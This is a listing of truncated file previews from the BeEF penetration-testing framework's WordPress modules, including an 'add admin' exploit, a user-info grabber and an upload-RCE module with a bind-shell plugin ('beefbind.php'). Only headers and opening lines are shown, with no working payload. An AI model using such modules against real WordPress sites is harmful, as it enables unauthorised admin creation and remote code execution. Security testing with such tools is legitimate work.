# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore # # Original Author: Daniel Reece (@HBRN8). # Rewritten by Erwan LR (@er...
JavaScript
beef/modules/misc/wordpress/current_user_info/command.js
/* Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission Author @erwan_lr (WPScanTeam) - https://wpscan.org/ */ beef.execute(function() { beef_command_url = '<%= @command_url %>'; beef_command_id = <%= @command_id %>; // Adds wp...
YAML
beef/modules/misc/wordpress/current_user_info/config.yaml
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Author @erwan_lr (WPscanTeam) - https://wpscan.org/ # beef: module: wordpress_current_user_info: enable: true category: Misc name: Word...
Ruby
beef/modules/misc/wordpress/current_user_info/module.rb
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Author @erwan_lr (WPscanTeam) - https://wpscan.org/ # require_relative '../wordpress_command' class Wordpress_current_user_info < WordPressCommand end
PHP
beef/modules/misc/wordpress/upload_rce_plugin/beefbind.php
<?php /** * Plugin Name: beefbind * Plugin URI: http://beefproject.com * Description: BeEF bind shell with CORS. * Version: 1.1 * Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam) * Author URI: https://twitter.com/bmantra * License: Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net - Browser Exploit...
JavaScript
beef/modules/misc/wordpress/upload_rce_plugin/command.js
/* Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission This is a rewrite of the original module misc/wordpress_post_auth_rce. Original Author: Bart Leppens Rewritten by Erwan LR (@erwan_lr | WPScanTeam) */ beef.execute(function() ...
YAML
beef/modules/misc/wordpress/upload_rce_plugin/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: wordpress_upload_rce_plugin: enable: true category: Misc name: WordPress Uploa...